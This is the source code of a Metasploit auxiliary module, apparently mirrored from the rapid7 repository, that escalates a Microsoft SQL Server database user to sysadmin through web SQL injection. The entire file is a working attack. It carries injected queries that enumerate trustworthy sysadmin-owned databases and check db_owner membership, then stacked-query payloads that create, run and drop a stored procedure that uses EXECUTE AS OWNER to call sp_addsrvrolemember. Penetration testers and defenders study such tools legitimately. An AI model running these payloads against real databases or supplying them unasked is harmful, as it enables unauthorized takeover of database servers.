Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL_SQLI
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner',
15
'Description' => %q{
16
This module can be used to escalate SQL Server user privileges to sysadmin through a web
17
SQL Injection. In order to escalate, the database user must to have the db_owner role in
18
a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin
19
role, the mssql_payload_sqli module can be used to obtain a shell on the system.
20
21
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
22
},
23
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
24
'License' => MSF_LICENSE,
25
'References' => [['URL', 'http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']],
26
'Notes' => {
27
'Stability' => [CRASH_SAFE],
28
'SideEffects' => [IOC_IN_LOGS],
29
'Reliability' => []
30
}
31
)
32
)
33
end
34
35
def run
36
# Get the database user name
37
print_status('Grabbing the database user name from ...')
38
db_user = get_username
39
if db_user.nil?
40
print_error('Unable to grab user name...')
41
return
42
end
43
44
print_good("Database user: #{db_user}")
45
46
# Grab sysadmin status
47
print_status("Checking if #{db_user} is already a sysadmin...")
48
admin_status = check_sysadmin
49
50
if admin_status.nil?
51
print_error("Couldn't retrieve user status, aborting...")
52
return
53
end
54
55
if admin_status == '1'
56
print_error("#{db_user} is already a sysadmin, no esclation needed.")
57
return
58
end
59
60
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
61
62
# Check for trusted databases owned by sysadmins
63
print_status('Checking for trusted databases owned by sysadmins...')
64
trust_db_list = check_trust_dbs
65
if trust_db_list.nil? || trust_db_list.empty?
66
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
67
return
68
end
69
70
# Display list of accessible databases to user
71
print_good("#{trust_db_list.length} affected database(s) were found:")
72
trust_db_list.each do |db|
73
print_status(" - #{db}")
74
end
75
76
# Check if the user has the db_owner role in any of the databases
77
print_status("Checking if #{db_user} has the db_owner role in any of them...")
78
owner_status = check_db_owner(trust_db_list)
79
if owner_status.nil?
80
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
81
return
82
end
83
84
print_good("#{db_user} has the db_owner role on #{owner_status}.")
85
86
# Attempt to escalate to sysadmin
87
print_status("Attempting to add #{db_user} to sysadmin role...")
88
escalate_privs(owner_status, db_user)
89
90
admin_status = check_sysadmin
91
if admin_status && admin_status == '1'
92
print_good("Success! #{db_user} is now a sysadmin!")
93
else
94
print_error('Fail buckets, something went wrong.')
95
end
96
end
97
98
def get_username
99
# Setup query to check for database username
100
clue_start = Rex::Text.rand_text_alpha(8..11)
101
clue_end = Rex::Text.rand_text_alpha(8..11)
102
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
103
104
# Run query
105
result = mssql_query(sql)
106
107
# Parse result
108
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
109
user_name = ::Regexp.last_match(1)
110
else
111
user_name = nil
112
end
113
114
user_name
115
end
116
117
def check_sysadmin
118
# Setup query to check for sysadmin
119
clue_start = Rex::Text.rand_text_alpha(8..11)
120
clue_end = Rex::Text.rand_text_alpha(8..11)
121
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
122
123
# Run query
124
result = mssql_query(sql)
125
126
# Parse result
127
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
128
status = ::Regexp.last_match(1)
129
else
130
status = nil
131
end
132
133
status
134
end
135
136
def check_trust_dbs
137
# Setup query to check for trusted databases owned by sysadmins
138
clue_start = Rex::Text.rand_text_alpha(8..11)
139
clue_end = Rex::Text.rand_text_alpha(8..11)
140
sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName
141
FROM sys.server_principals r
142
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
143
INNER JOIN sys.server_principals p ON
144
p.principal_id = m.member_principal_id
145
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
146
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
147
148
# Run query
149
res = mssql_query(sql)
150
151
unless res && res.body
152
return nil
153
end
154
155
# Parse results
156
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
157
158
if parsed_result && !parsed_result.empty?
159
parsed_result.flatten!
160
parsed_result.uniq!
161
end
162
163
print_status(parsed_result.inspect.to_s)
164
165
parsed_result
166
end
167
168
def check_db_owner(trust_db_list)
169
# Check if the user has the db_owner role is any databases
170
trust_db_list.each do |db|
171
# Setup query
172
clue_start = Rex::Text.rand_text_alpha(8..11)
173
clue_end = Rex::Text.rand_text_alpha(8..11)
174
sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName
175
from [#{db}].sys.database_role_members drm
176
join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
177
join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
178
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
179
180
# Run query
181
result = mssql_query(sql)
182
183
unless result && result.body
184
next
185
end
186
187
# Parse result
188
if result.body =~ /#{clue_start}([^>]*)#{clue_end}/
189
return ::Regexp.last_match(1)
190
end
191
end
192
193
nil
194
end
195
196
# Attempt to escalate privileges
197
def escalate_privs(dbowner_db, db_user)
198
# Create the evil stored procedure WITH EXECUTE AS OWNER
199
evil_sql_create = "1;use #{dbowner_db};
200
DECLARE @myevil as varchar(max)
201
set @myevil = '
202
CREATE PROCEDURE sp_elevate_me
203
WITH EXECUTE AS OWNER
204
as
205
begin
206
EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''
207
end';
208
exec(@myevil);--"
209
mssql_query(evil_sql_create)
210
211
# Run the evil stored procedure
212
evilsql_run = "1;use #{dbowner_db};
213
DECLARE @myevil2 as varchar(max)
214
set @myevil2 = 'EXEC sp_elevate_me'
215
exec(@myevil2);--"
216
mssql_query(evilsql_run)
217
218
# Remove evil procedure
219
evilsql_remove = "1;use #{dbowner_db};
220
DECLARE @myevil3 as varchar(max)
221
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
222
exec(@myevil3);--"
223
mssql_query(evilsql_remove)
224
end
225
end
226
227